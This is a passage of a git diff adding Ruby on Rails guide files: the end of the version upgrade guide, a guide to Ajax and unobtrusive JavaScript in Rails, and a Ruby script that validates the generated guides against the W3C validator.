can handle the changes: + + * `find_all_by_...` becomes `where(...)`. + * `find_last_by_...` becomes `where(...).last`. + * `scoped_by_...` becomes `where(...)`. + * `find_or_initialize_by_...` becomes `find_or_initialize_by(...)`. + * `find_or_create_by_...` becomes `find_or_create_by(...)`. + +* Note that `where(...)` returns a relation, not an array like the old finders. If you require an `Array`, use `where(...).to_a`. + +* These equivalent methods may not execute the same SQL as the previous implementation. + +* To re-enable the old finders, you can use the [activerecord-deprecated_finders gem](https://github.com/rails/activerecord-deprecated_finders). + +* Rails 4.0 has changed to default join table for `has_and_belongs_to_many` relations to strip the common prefix off the second table name. Any existing `has_and_belongs_to_many` relationship between models with a common prefix must be specified with the `join_table` option. For example: + +```ruby +CatalogCategory < ActiveRecord::Base + has_and_belongs_to_many :catalog_products, join_table: 'catalog_categories_catalog_products' +end + +CatalogProduct < ActiveRecord::Base + has_and_belongs_to_many :catalog_categories, join_table: 'catalog_categories_catalog_products' +end +``` + +* Note that the prefix takes scopes into account as well, so relations between `Catalog::Category` and `Catalog::Product` or `Catalog::Category` and `CatalogProduct` need to be updated similarly. + +### Active Resource + +Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your `Gemfile`. + +### Active Model + +* Rails 4.0 has changed how errors attach with the `ActiveModel::Validations::ConfirmationValidator`. Now when confirmation validations fail, the error will be attached to `:#{attribute}_confirmation` instead of `attribute`. + +* Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to `false`. Now, Active Model Serializers and Active Record objects have the same default behavior. This means that you can comment or remove the following option in the `config/initializers/wrap_parameters.rb` file: + +```ruby +# Disable root element in JSON by default. +# ActiveSupport.on_load(:active_record) do +# self.include_root_in_json = false +# end +``` + +### Action Pack + +* Rails 4.0 introduces `ActiveSupport::KeyGenerator` and uses this as a base from which to generate and verify signed cookies (among other things). Existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing `secret_token` in place and add the new `secret_key_base`. + +```ruby + # config/initializers/secret_token.rb + Myapp::Application.config.secret_token = 'existing secret token' + Myapp::Application.config.secret_key_base = 'new secret key base' +``` + +Please note that you should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new `secret_key_base` in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing `secret_token` in place, not set the new `secret_key_base`, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise complete. + +If you are relying on the ability for external applications or JavaScript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set `secret_key_base` until you have decoupled these concerns. + +* Rails 4.0 encrypts the contents of cookie-based sessions if `secret_key_base` has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty. + +Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies. + +* Rails 4.0 removed the `ActionController::Base.asset_path` option. Use the assets pipeline feature. + +* Rails 4.0 has deprecated `ActionController::Base.page_cache_extension` option. Use `ActionController::Base.default_static_extension` instead. + +* Rails 4.0 has removed Action and Page caching from Action Pack. You will need to add the `actionpack-action_caching` gem in order to use `caches_action` and the `actionpack-page_caching` to use `caches_page` in your controllers. + +* Rails 4.0 has removed the XML parameters parser. You will need to add the `actionpack-xml_parser` gem if you require this feature. + +* Rails 4.0 changes the default `layout` lookup set using symbols or procs that return nil. To get the "no layout" behavior, return false instead of nil. + +* Rails 4.0 changes the default memcached client from `memcache-client` to `dalli`. To upgrade, simply add `gem 'dalli'` to your `Gemfile`. + +* Rails 4.0 deprecates the `dom_id` and `dom_class` methods in controllers (they are fine in views). You will need to include the `ActionView::RecordIdentifier` module in controllers requiring this feature. + +* Rails 4.0 deprecates the `:confirm` option for the `link_to` helper. You should +instead rely on a data attribute (e.g. `data: { confirm: 'Are you sure?' }`). +This deprecation also concerns the helpers based on this one (such as `link_to_if` +or `link_to_unless`). + +* Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`. + +* Rails 4.0 raises an `ArgumentError` if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the `resources` method. Here are two examples that clash with routes named `example_path`: + +```ruby + get 'one' => 'test#example', as: :example + get 'two' => 'test#example', as: :example +``` + +```ruby + resources :examples + get 'clashing/:id' => 'test#example', as: :example +``` + +In the first case, you can simply avoid using the same name for multiple +routes. In the second, you can use the `only` or `except` options provided by +the `resources` method to restrict the routes created as detailed in the +[Routing Guide](routing.html#restricting-the-routes-created). + +* Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example: + +```ruby +get Rack::Utils.escape('こんにちは'), controller: 'welcome', action: 'index' +``` + +becomes + +```ruby +get 'こんにちは', controller: 'welcome', action: 'index' +``` + +* Rails 4.0 requires that routes using `match` must specify the request method. For example: + +```ruby + # Rails 3.x + match '/' => 'root#index' + + # becomes + match '/' => 'root#index', via: :get + + # or + get '/' => 'root#index' +``` + +* Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `config.action_dispatch.default_headers`. + +Remember you must also remove any references to the middleware from your application code, for example: + +```ruby +# Raise exception +config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport) +``` + +Also check your environment settings for `config.action_dispatch.best_standards_support` and remove it if present. + +* Rails 4.0 allows configuration of HTTP headers by setting `config.action_dispatch.default_headers`. The defaults are as follows: + +```ruby + config.action_dispatch.default_headers = { + 'X-Frame-Options' => 'SAMEORIGIN', + 'X-XSS-Protection' => '1; mode=block' + } +``` + +Please note that if your application is dependent on loading certain pages in a `<frame>` or `<iframe>`, then you may need to explicitly set `X-Frame-Options` to `ALLOW-FROM ...` or `ALLOWALL`. + +* In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from `vendor/assets` and `lib/assets`. Rails application and engine developers should put these assets in `app/assets` or configure `config.assets.precompile`. + +* In Rails 4.0, `ActionController::UnknownFormat` is raised when the action doesn't handle the request format. By default, the exception is handled by responding with 406 Not Acceptable, but you can override that now. In Rails 3, 406 Not Acceptable was always returned. No overrides. + +* In Rails 4.0, a generic `ActionDispatch::ParamsParser::ParseError` exception is raised when `ParamsParser` fails to parse request params. You will want to rescue this exception instead of the low-level `MultiJson::DecodeError`, for example. + +* In Rails 4.0, `SCRIPT_NAME` is properly nested when engines are mounted on an app that's served from a URL prefix. You no longer have to set `default_url_options[:script_name]` to work around overwritten URL prefixes. + +* Rails 4.0 deprecated `ActionController::Integration` in favor of `ActionDispatch::Integration`. +* Rails 4.0 deprecated `ActionController::IntegrationTest` in favor of `ActionDispatch::IntegrationTest`. +* Rails 4.0 deprecated `ActionController::PerformanceTest` in favor of `ActionDispatch::PerformanceTest`. +* Rails 4.0 deprecated `ActionController::AbstractRequest` in favor of `ActionDispatch::Request`. +* Rails 4.0 deprecated `ActionController::Request` in favor of `ActionDispatch::Request`. +* Rails 4.0 deprecated `ActionController::AbstractResponse` in favor of `ActionDispatch::Response`. +* Rails 4.0 deprecated `ActionController::Response` in favor of `ActionDispatch::Response`. +* Rails 4.0 deprecated `ActionController::Routing` in favor of `ActionDispatch::Routing`. + +### Active Support + +Rails 4.0 removes the `j` alias for `ERB::Util#json_escape` since `j` is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`. + +#### Cache + +The caching method changed between Rails 3.x and 4.0. You should [change the cache namespace](https://guides.rubyonrails.org/caching_with_rails.html#activesupport-cache-store) and roll out with a cold cache. + +### Helpers Loading Order + +The order in which helpers from more than one directory are loaded has changed in Rails 4.0. Previously, they were gathered and then sorted alphabetically. After upgrading to Rails 4.0, helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use the `helpers_path` parameter, this change will only impact the way of loading helpers from engines. If you rely on the ordering, you should check if correct methods are available after upgrade. If you would like to change the order in which engines are loaded, you can use `config.railties_order=` method. + +### Active Record Observer and Action Controller Sweeper + +`ActiveRecord::Observer` and `ActionController::Caching::Sweeper` have been extracted to the `rails-observers` gem. You will need to add the `rails-observers` gem if you require these features. + +### sprockets-rails + +* `assets:precompile:primary` and `assets:precompile:all` have been removed. Use `assets:precompile` instead. +* The `config.assets.compress` option should be changed to `config.assets.js_compressor` like so for instance: + +```ruby +config.assets.js_compressor = :uglifier +``` + +### sass-rails + +* `asset-url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")`. + +Upgrading from Rails 3.1 to Rails 3.2 +------------------------------------- + +If your application is currently on any version of Rails older than 3.1.x, you +should upgrade to Rails 3.1 before attempting an update to Rails 3.2. + +The following changes are meant for upgrading your application to the latest +3.2.x version of Rails. + +### Gemfile + +Make the following changes to your `Gemfile`. + +```ruby +gem 'rails', '3.2.21' + +group :assets do + gem 'sass-rails', '~> 3.2.6' + gem 'coffee-rails', '~> 3.2.2' + gem 'uglifier', '>= 1.0.3' +end +``` + +### config/environments/development.rb + +There are a couple of new configuration settings that you should add to your development environment: + +```ruby +# Raise exception on mass assignment protection for Active Record models +config.active_record.mass_assignment_sanitizer = :strict + +# Log the query plan for queries taking more than this (works +# with SQLite, MySQL, and PostgreSQL) +config.active_record.auto_explain_threshold_in_seconds = 0.5 +``` + +### config/environments/test.rb + +The `mass_assignment_sanitizer` configuration setting should also be added to `config/environments/test.rb`: + +```ruby +# Raise exception on mass assignment protection for Active Record models +config.active_record.mass_assignment_sanitizer = :strict +``` + +### vendor/plugins + +Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your `Gemfile`. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`. + +### Active Record + +Option `:dependent => :restrict` has been removed from `belongs_to`. If you want to prevent deleting the object if there are any associated objects, you can set `:dependent => :destroy` and return `false` after checking for existence of association from any of the associated object's destroy callbacks. + +Upgrading from Rails 3.0 to Rails 3.1 +------------------------------------- + +If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1. + +The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails. + +### Gemfile + +Make the following changes to your `Gemfile`. + +```ruby +gem 'rails', '3.1.12' +gem 'mysql2' + +# Needed for the new asset pipeline +group :assets do + gem 'sass-rails', '~> 3.1.7' + gem 'coffee-rails', '~> 3.1.1' + gem 'uglifier', '>= 1.0.3' +end + +# jQuery is the default JavaScript library in Rails 3.1 +gem 'jquery-rails' +``` + +### config/application.rb + +The asset pipeline requires the following additions: + +```ruby +config.assets.enabled = true +config.assets.version = '1.0' +``` + +If your application is using an "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts: + +```ruby +# Defaults to '/assets' +config.assets.prefix = '/asset-files' +``` + +### config/environments/development.rb + +Remove the RJS setting `config.action_view.debug_rjs = true`. + +Add these settings if you enable the asset pipeline: + +```ruby +# Do not compress assets +config.assets.compress = false + +# Expands the lines which load the assets +config.assets.debug = true +``` + +### config/environments/production.rb + +Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide. + +```ruby +# Compress JavaScripts and CSS +config.assets.compress = true + +# Don't fallback to assets pipeline if a precompiled asset is missed +config.assets.compile = false + +# Generate digests for assets URLs +config.assets.digest = true + +# Defaults to Rails.root.join("public/assets") +# config.assets.manifest = YOUR_PATH + +# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) +# config.assets.precompile += %w( admin.js admin.css ) + +# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. +# config.force_ssl = true +``` + +### config/environments/test.rb + +You can help test performance with these additions to your test environment: + +```ruby +# Configure static asset server for tests with Cache-Control for performance +config.public_file_server.enabled = true +config.public_file_server.headers = { + 'Cache-Control' => 'public, max-age=3600' +} +``` + +### config/initializers/wrap_parameters.rb + +Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications. + +```ruby +# Be sure to restart your server when you modify this file. +# This file contains settings for ActionController::ParamsWrapper which +# is enabled by default. + +# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. +ActiveSupport.on_load(:action_controller) do + wrap_parameters format: [:json] +end + +# Disable root element in JSON by default. +ActiveSupport.on_load(:active_record) do + self.include_root_in_json = false +end +``` + +### config/initializers/session_store.rb + +You need to change your session key to something new, or remove all sessions: + +```ruby +# in config/initializers/session_store.rb +AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW' +``` + +or + +```bash +$ bin/rake db:sessions:clear +``` + +### Remove :cache and :concat options in asset helpers references in views + +* With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views. diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md new file mode 100644 index 0000000000..c36b3faa6c --- /dev/null +++ b/guides/source/working_with_javascript_in_rails.md @@ -0,0 +1,536 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Working with JavaScript in Rails +================================ + +This guide covers the built-in Ajax/JavaScript functionality of Rails (and +more); it will enable you to create rich and dynamic Ajax applications with +ease! + +After reading this guide, you will know: + +* The basics of Ajax. +* Unobtrusive JavaScript. +* How Rails' built-in helpers assist you. +* How to handle Ajax on the server side. +* The Turbolinks gem. + +------------------------------------------------------------------------------- + +An Introduction to Ajax +------------------------ + +In order to understand Ajax, you must first understand what a web browser does +normally. + +When you type `http://localhost:3000` into your browser's address bar and hit +'Go', the browser (your 'client') makes a request to the server. It parses the +response, then fetches all associated assets, like JavaScript files, +stylesheets and images. It then assembles the page. If you click a link, it +does the same process: fetch the page, fetch the assets, put it all together, +show you the results. This is called the 'request response cycle'. + +JavaScript can also make requests to the server, and parse the response. It +also has the ability to update information on the page. Combining these two +powers, a JavaScript writer can make a web page that can update just parts of +itself, without needing to get the full page data from the server. This is a +powerful technique that we call Ajax. + +Rails ships with CoffeeScript by default, and so the rest of the examples +in this guide will be in CoffeeScript. All of these lessons, of course, apply +to vanilla JavaScript as well. + +As an example, here's some CoffeeScript code that makes an Ajax request using +the jQuery library: + +```coffeescript +$.ajax(url: "/test").done (html) -> + $("#results").append html +``` + +This code fetches data from "/test", and then appends the result to the `div` +with an id of `results`. + +Rails provides quite a bit of built-in support for building web pages with this +technique. You rarely have to write this code yourself. The rest of this guide +will show you how Rails can help you write websites in this way, but it's +all built on top of this fairly simple technique. + +Unobtrusive JavaScript +---------------------- + +Rails uses a technique called "Unobtrusive JavaScript" to handle attaching +JavaScript to the DOM. This is generally considered to be a best-practice +within the frontend community, but you may occasionally read tutorials that +demonstrate other ways. + +Here's the simplest way to write JavaScript. You may see it referred to as +'inline JavaScript': + +```html +<a href="#" onclick="this.style.backgroundColor='#990000'">Paint it red</a> +``` +When clicked, the link background will become red. Here's the problem: what +happens when we have lots of JavaScript we want to execute on a click? + +```html +<a href="#" onclick="this.style.backgroundColor='#009900';this.style.color='#FFFFFF';">Paint it green</a> +``` + +Awkward, right? We could pull the function definition out of the click handler, +and turn it into CoffeeScript: + +```coffeescript +@paintIt = (element, backgroundColor, textColor) -> + element.style.backgroundColor = backgroundColor + if textColor? + element.style.color = textColor +``` + +And then on our page: + +```html +<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a> +``` + +That's a little bit better, but what about multiple links that have the same +effect? + +```html +<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a> +<a href="#" onclick="paintIt(this, '#009900', '#FFFFFF')">Paint it green</a> +<a href="#" onclick="paintIt(this, '#000099', '#FFFFFF')">Paint it blue</a> +``` + +Not very DRY, eh? We can fix this by using events instead. We'll add a `data-*` +attribute to our link, and then bind a handler to the click event of every link +that has that attribute: + +```coffeescript +@paintIt = (element, backgroundColor, textColor) -> + element.style.backgroundColor = backgroundColor + if textColor? + element.style.color = textColor + +$ -> + $("a[data-background-color]").click (e) -> + e.preventDefault() + + backgroundColor = $(this).data("background-color") + textColor = $(this).data("text-color") + paintIt(this, backgroundColor, textColor) +``` +```html +<a href="#" data-background-color="#990000">Paint it red</a> +<a href="#" data-background-color="#009900" data-text-color="#FFFFFF">Paint it green</a> +<a href="#" data-background-color="#000099" data-text-color="#FFFFFF">Paint it blue</a> +``` + +We call this 'unobtrusive' JavaScript because we're no longer mixing our +JavaScript into our HTML. We've properly separated our concerns, making future +change easy. We can easily add behavior to any link by adding the data +attribute. We can run all of our JavaScript through a minimizer and +concatenator. We can serve our entire JavaScript bundle on every page, which +means that it'll get downloaded on the first page load and then be cached on +every page after that. Lots of little benefits really add up. + +The Rails team strongly encourages you to write your CoffeeScript (and +JavaScript) in this style, and you can expect that many libraries will also +follow this pattern. + +Built-in Helpers +---------------- + +### Remote elements + +Rails provides a bunch of view helper methods written in Ruby to assist you +in generating HTML. Sometimes, you want to add a little Ajax to those elements, +and Rails has got your back in those cases. + +Because of Unobtrusive JavaScript, the Rails "Ajax helpers" are actually in two +parts: the JavaScript half and the Ruby half. + +Unless you have disabled the Asset Pipeline, +[rails-ujs](https://github.com/rails/rails/tree/master/actionview/app/assets/javascripts) +provides the JavaScript half, and the regular Ruby view helpers add appropriate +tags to your DOM. + +You can read below about the different events that are fired dealing with +remote elements inside your application. + +#### form_with + +[`form_with`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with) +is a helper that assists with writing forms. By default, `form_with` assumes that +your form will be using Ajax. You can opt out of this behavior by +passing the `:local` option `form_with`. + +```erb +<%= form_with(model: @article) do |f| %> + ... +<% end %> +``` + +This will generate the following HTML: + +```html +<form action="/articles" accept-charset="UTF-8" method="post" data-remote="true"> + ... +</form> +``` + +Note the `data-remote="true"`. Now, the form will be submitted by Ajax rather +than by the browser's normal submit mechanism. + +You probably don't want to just sit there with a filled out `<form>`, though. +You probably want to do something upon a successful submission. To do that, +bind to the `ajax:success` event. On failure, use `ajax:error`. Check it out: + +```coffeescript +$(document).ready -> + $("#new_article").on("ajax:success", (event) -> + [data, status, xhr] = event.detail + $("#new_article").append xhr.responseText + ).on "ajax:error", (event) -> + $("#new_article").append "<p>ERROR</p>" +``` + +Obviously, you'll want to be a bit more sophisticated than that, but it's a +start. + +NOTE: As of Rails 5.1 and the new `rails-ujs`, the parameters `data, status, xhr` +have been bundled into `event.detail`. For information about the previously used +`jquery-ujs` in Rails 5 and earlier, read the [`jquery-ujs` wiki](https://github.com/rails/jquery-ujs/wiki/ajax). + +#### link_to + +[`link_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to) +is a helper that assists with generating links. It has a `:remote` option you +can use like this: + +```erb +<%= link_to "an article", @article, remote: true %> +``` + +which generates + +```html +<a href="/articles/1" data-remote="true">an article</a> +``` + +You can bind to the same Ajax events as `form_with`. Here's an example. Let's +assume that we have a list of articles that can be deleted with just one +click. We would generate some HTML like this: + +```erb +<%= link_to "Delete article", @article, remote: true, method: :delete %> +``` + +and write some CoffeeScript like this: + +```coffeescript +$ -> + $("a[data-remote]").on "ajax:success", (event) -> + alert "The article was deleted." +``` + +#### button_to + +[`button_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to) is a helper that helps you create buttons. It has a `:remote` option that you can call like this: + +```erb +<%= button_to "An article", @article, remote: true %> +``` + +this generates + +```html +<form action="/articles/1" class="button_to" data-remote="true" method="post"> + <input type="submit" value="An article" /> +</form> +``` + +Since it's just a `<form>`, all of the information on `form_with` also applies. + +### Customize remote elements + +It is possible to customize the behavior of elements with a `data-remote` +attribute without writing a line of JavaScript. You can specify extra `data-` +attributes to accomplish this. + +#### `data-method` + +Activating hyperlinks always results in an HTTP GET request. However, if your +application is [RESTful](https://en.wikipedia.org/wiki/Representational_State_Transfer), +some links are in fact actions that change data on the server, and must be +performed with non-GET requests. This attribute allows marking up such links +with an explicit method such as "post", "put" or "delete". + +The way it works is that, when the link is activated, it constructs a hidden form +in the document with the "action" attribute corresponding to "href" value of the +link, and the method corresponding to `data-method` value, and submits that form. + +NOTE: Because submitting forms with HTTP methods other than GET and POST isn't +widely supported across browsers, all other HTTP methods are actually sent over +POST with the intended method indicated in the `_method` parameter. Rails +automatically detects and compensates for this. + +#### `data-url` and `data-params` + +Certain elements of your page aren't actually referring to any URL, but you may want +them to trigger Ajax calls. Specifying the `data-url` attribute along with +the `data-remote` one will trigger an Ajax call to the given URL. You can also +specify extra parameters through the `data-params` attribute. + +This can be useful to trigger an action on check-boxes for instance: + +```html +<input type="checkbox" data-remote="true" + data-url="/update" data-params="id=10" data-method="put"> +``` + +#### `data-type` + +It is also possible to define the Ajax `dataType` explicitly while performing +requests for `data-remote` elements, by way of the `data-type` attribute. + +### Confirmations + +You can ask for an extra confirmation of the user by adding a `data-confirm` +attribute on links and forms. The user will be presented a JavaScript `confirm()` +dialog containing the attribute's text. If the user chooses to cancel, the action +doesn't take place. + +Adding this attribute on links will trigger the dialog on click, and adding it +on forms will trigger it on submit. For example: + +```erb +<%= link_to "Dangerous zone", dangerous_zone_path, + data: { confirm: 'Are you sure?' } %> +``` + +This generates: + +```html +<a href="..." data-confirm="Are you sure?">Dangerous zone</a> +``` + +The attribute is also allowed on form submit buttons. This allows you to customize +the warning message depending on the button which was activated. In this case, +you should **not** have `data-confirm` on the form itself. + +The default confirmation uses a JavaScript confirm dialog, but you can customize +this by listening to the `confirm` event, which is fired just before the confirmation +window appears to the user. To cancel this default confirmation, have the confirm +handler to return `false`. + +### Automatic disabling + +It is also possible to automatically disable an input while the form is submitting +by using the `data-disable-with` attribute. This is to prevent accidental +double-clicks from the user, which could result in duplicate HTTP requests that +the backend may not detect as such. The value of the attribute is the text that will +become the new value of the button in its disabled state. + +This also works for links with `data-method` attribute. + +For example: + +```erb +<%= form_with(model: @article.new) do |f| %> + <%= f.submit data: { "disable-with": "Saving..." } %> +<%= end %> +``` + +This generates a form with: + +```html +<input data-disable-with="Saving..." type="submit"> +``` + +### Rails-ujs event handlers + +Rails 5.1 introduced rails-ujs and dropped jQuery as a dependency. +As a result the Unobtrusive JavaScript (UJS) driver has been rewritten to operate without jQuery. +These introductions cause small changes to `custom events` fired during the request: + +NOTE: Signature of calls to UJS's event handlers has changed. +Unlike the version with jQuery, all custom events return only one parameter: `event`. +In this parameter, there is an additional attribute `detail` which contains an array of extra parameters. + +| Event name | Extra parameters (event.detail) | Fired | +|---------------------|---------------------------------|-------------------------------------------------------------| +| `ajax:before` | | Before the whole ajax business. | +| `ajax:beforeSend` | [xhr, options] | Before the request is sent. | +| `ajax:send` | [xhr] | When the request is sent. | +| `ajax:stopped` | | When the request is stopped. | +| `ajax:success` | [response, status, xhr] | After completion, if the response was a success. | +| `ajax:error` | [response, status, xhr] | After completion, if the response was an error. | +| `ajax:complete` | [xhr, status] | After the request has been completed, no matter the outcome.| + +Example usage: + +```html +document.body.addEventListener('ajax:success', function(event) { + var detail = event.detail; + var data = detail[0], status = detail[1], xhr = detail[2]; +}) +``` + +NOTE: As of Rails 5.1 and the new `rails-ujs`, the parameters `data, status, xhr` +have been bundled into `event.detail`. For information about the previously used +`jquery-ujs` in Rails 5 and earlier, read the [`jquery-ujs` wiki](https://github.com/rails/jquery-ujs/wiki/ajax). + +### Stoppable events +You can stop execution of the Ajax request by running `event.preventDefault()` +from the handlers methods `ajax:before` or `ajax:beforeSend`. +The `ajax:before` event can manipulate form data before serialization and the +`ajax:beforeSend` event is useful for adding custom request headers. + +If you stop the `ajax:aborted:file` event, the default behavior of allowing the +browser to submit the form via normal means (i.e. non-Ajax submission) will be +canceled and the form will not be submitted at all. This is useful for +implementing your own Ajax file upload workaround. + +Note, you should use `return false` to prevent event for `jquery-ujs` and +`e.preventDefault()` for `rails-ujs` + +Server-Side Concerns +-------------------- + +Ajax isn't just client-side, you also need to do some work on the server +side to support it. Often, people like their Ajax requests to return JSON +rather than HTML. Let's discuss what it takes to make that happen. + +### A Simple Example + +Imagine you have a series of users that you would like to display and provide a +form on that same page to create a new user. The index action of your +controller looks like this: + +```ruby +class UsersController < ApplicationController + def index + @users = User.all + @user = User.new + end + # ... +``` + +The index view (`app/views/users/index.html.erb`) contains: + +```erb +<b>Users</b> + +<ul id="users"> +<%= render @users %> +</ul> + +<br> + +<%= form_with(model: @user) do |f| %> + <%= f.label :name %><br> + <%= f.text_field :name %> + <%= f.submit %> +<% end %> +``` + +The `app/views/users/_user.html.erb` partial contains the following: + +```erb +<li><%= user.name %></li> +``` + +The top portion of the index page displays the users. The bottom portion +provides a form to create a new user. + +The bottom form will call the `create` action on the `UsersController`. Because +the form's remote option is set to true, the request will be posted to the +`UsersController` as an Ajax request, looking for JavaScript. In order to +serve that request, the `create` action of your controller would look like +this: + +```ruby + # app/controllers/users_controller.rb + # ...... + def create + @user = User.new(params[:user]) + + respond_to do |format| + if @user.save + format.html { redirect_to @user, notice: 'User was successfully created.' } + format.js + format.json { render json: @user, status: :created, location: @user } + else + format.html { render action: "new" } + format.json { render json: @user.errors, status: :unprocessable_entity } + end + end + end +``` + +Notice the `format.js` in the `respond_to` block: that allows the controller to +respond to your Ajax request. You then have a corresponding +`app/views/users/create.js.erb` view file that generates the actual JavaScript +code that will be sent and executed on the client side. + +```erb +$("<%= escape_javascript(render @user) %>").appendTo("#users"); +``` + +Turbolinks +---------- + +Rails ships with the [Turbolinks library](https://github.com/turbolinks/turbolinks), +which uses Ajax to speed up page rendering in most applications. + +### How Turbolinks Works + +Turbolinks attaches a click handler to all `<a>` tags on the page. If your browser +supports +[PushState](https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history#The_pushState%28%29_method), +Turbolinks will make an Ajax request for the page, parse the response, and +replace the entire `<body>` of the page with the `<body>` of the response. It +will then use PushState to change the URL to the correct one, preserving +refresh semantics and giving you pretty URLs. + +If you want to disable Turbolinks for certain links, add a `data-turbolinks="false"` +attribute to the tag: + +```html +<a href="..." data-turbolinks="false">No turbolinks here</a>. +``` + +### Page Change Events + +When writing CoffeeScript, you'll often want to do some sort of processing upon +page load. With jQuery, you'd write something like this: + +```coffeescript +$(document).ready -> + alert "page has loaded!" +``` + +However, because Turbolinks overrides the normal page loading process, the +event that this relies upon will not be fired. If you have code that looks like +this, you must change your code to do this instead: + +```coffeescript +$(document).on "turbolinks:load", -> + alert "page has loaded!" +``` + +For more details, including other events you can bind to, check out [the +Turbolinks +README](https://github.com/turbolinks/turbolinks/blob/master/README.md). + +Other Resources +--------------- + +Here are some helpful links to help you learn even more: + +* [jquery-ujs wiki](https://github.com/rails/jquery-ujs/wiki) +* [jquery-ujs list of external articles](https://github.com/rails/jquery-ujs/wiki/External-articles) +* [Rails 3 Remote Links and Forms: A Definitive Guide](http://www.alfajango.com/blog/rails-3-remote-links-and-forms/) +* [Railscasts: Unobtrusive JavaScript](http://railscasts.com/episodes/205-unobtrusive-javascript) +* [Railscasts: Turbolinks](http://railscasts.com/episodes/390-turbolinks) diff --git a/guides/w3c_validator.rb b/guides/w3c_validator.rb new file mode 100644 index 0000000000..f38b6c2639 --- /dev/null +++ b/guides/w3c_validator.rb @@ -0,0 +1,98 @@ +# frozen_string_literal: true + +# --------------------------------------------------------------------------- +# +# This script validates the generated guides against the W3C Validator. +# +# Guides are taken from the output directory, from where all .html files are +# submitted to the validator. +# +# This script is prepared to be launched from the guides directory as a rake task: +# +# rake guides:validate +# +# If nothing is specified, all files will be validated, but you can check just +# some of them using this environment variable: +# +# ONLY +# Use ONLY if you want to validate only one or a set of guides. Prefixes are +# enough: +# +# # validates only association_basics.html +# rake guides:validate ONLY=assoc +# +# Separate many using commas: +# +# # validates only association_basics.html and command_line.html +# rake guides:validate ONLY=assoc,command +# +# --------------------------------------------------------------------------- + +require "w3c_validators" +include W3CValidators + +module RailsGuides + class Validator + def validate + # https://github.com/w3c-validators/w3c_validators/issues/25 + validator = NuValidator.new + STDOUT.sync = true + errors_on_guides = {} + + guides_to_validate.each do |f| + begin + results = validator.validate_file(f) + rescue Exception => e + puts "\nCould not validate #{f} because of #{e}" + next + end + + if results.errors.length > 0 + print "E" + errors_on_guides[f] = results.errors + else + print "." + end + end + + show_results(errors_on_guides) + end + + private + def guides_to_validate + guides = Dir["./output/*.html"] + guides.delete("./output/layout.html") + guides.delete("./output/_license.html") + guides.delete("./output/_welcome.html") + ENV.key?("ONLY") ? select_only(guides) : guides + end + + def select_only(guides) + prefixes = ENV["ONLY"].split(",").map(&:strip) + guides.select do |guide| + prefixes.any? { |p| guide.start_with?("./output/#{p}") } + end + end + + def show_results(error_list) + if error_list.size == 0 + puts "\n\nAll checked guides validate OK!" + else + error_summary = error_detail = "" + + error_list.each_pair do |name, errors| + error_summary += "\n #{name}" + error_detail += "\n\n #{name} has #{errors.size} validation error(s):\n" + errors.each do |error| + error_detail += "\n " + error.to_s.delete("\n") + end + end + + puts "\n\nThere are #{error_list.size} guides with validation errors:\n" + error_summary + puts "\nHere are the detailed errors for each guide:" + error_detail + end + end + end +end + +RailsGuides::Validator.new.validate |
